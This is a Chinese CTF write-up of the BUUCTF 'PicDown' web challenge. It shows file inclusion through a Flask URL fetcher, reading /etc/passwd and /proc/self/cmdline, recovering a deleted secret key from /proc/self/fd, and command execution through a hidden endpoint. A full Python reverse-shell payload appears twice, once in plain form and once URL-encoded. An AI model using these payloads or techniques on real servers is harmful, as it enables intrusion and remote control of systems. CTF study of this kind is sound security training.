BUUCTF-WEB 【网鼎杯 2020 白虎组】PicDown 1

考点

文件包含(python)

代码审计(python)

命令执行(python)

前置知识

python反弹shell
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

解题过程

打开

image-20210822213520898

就一个输入框,提交数据后会跳转到page页面,请求参数名为url,感觉像ssrf,其实不是,但还是可以通过传入 url链接去读取网页源代码,并且返回为 一个名为 beautiful.jpg的文件,用文本打开实际上是个网页。

image-20210822213857408

尝试包含 /etc/passwd

image-20210822213940243

也成功包含出来。

非预期解

这里直接尝试包含了下 /flag ,发现直接包含了出来。

image-20210822214102487

预期解

接下来通过读取 /proc/self/cmdline 来查看当前进程的执行命令

image-20210822214340292

读取 app.py,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
# url参数值中不能以字符 file 开头
if not url.lower().startswith("file"):
# 打开url
res = urllib.urlopen(url)
# 读取
value = res.read()
# 返回
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
# 执行命令
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
代码审计

通过审计,发现在manager函数中存在命令执行,有一个条件,没有过滤。

1
if key == SECRET_KEY:

传入的 key 要等于 SECRET_KEY,那么这个SECRET_KEY 要怎么获取呢。

1
2
3
4
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)

通过上面代码可以知道,从/tmp/secret.txt 中读取到SECRET_KEY后就会把这个文件删除,这就会导致我们读取不到。

Linux当中,文件只要没有关闭,就会读取到内存当中,就算是remove也是一样,打开的文件存在/proc/[pid]/fd路径下,这个路径下有很多以数字保存的文件,例如 /proc/self/fd/1这样。

bp启动,爆破。

image-20210822215959903

得到

image-20210822220041989

getshell
1
2
3
4
5
6
7
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
# 执行命令
os.system(shell)
res = "ok"

拿到看KEYCRET_KEY,就可以执行命令了,但是这里即便执行成功,也只会返回ok,这里我们用python反弹shell。

先在服务器当监听

image-20210822220408179

构造payload

1
no_one_know_the_manager?key=TdCTIhB6KGIVLP1AYx623LPgIFlKIZeXjQEIecV1ZtA=&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

url编码

1
python%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22IP%22,PORT));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5B%22/bin/sh%22,%22-i%22%5D);'%0A

提交,在根目录下。

image-20210822220812706

总结

这道题没什么难度,考得都很是常识,但我就是偏偏不会,通过读取 /proc/self/cmdline 来查看当前进程的执行命令,通过读取/proc/self/fd/1 查看在内存中的文件,学到了学到了。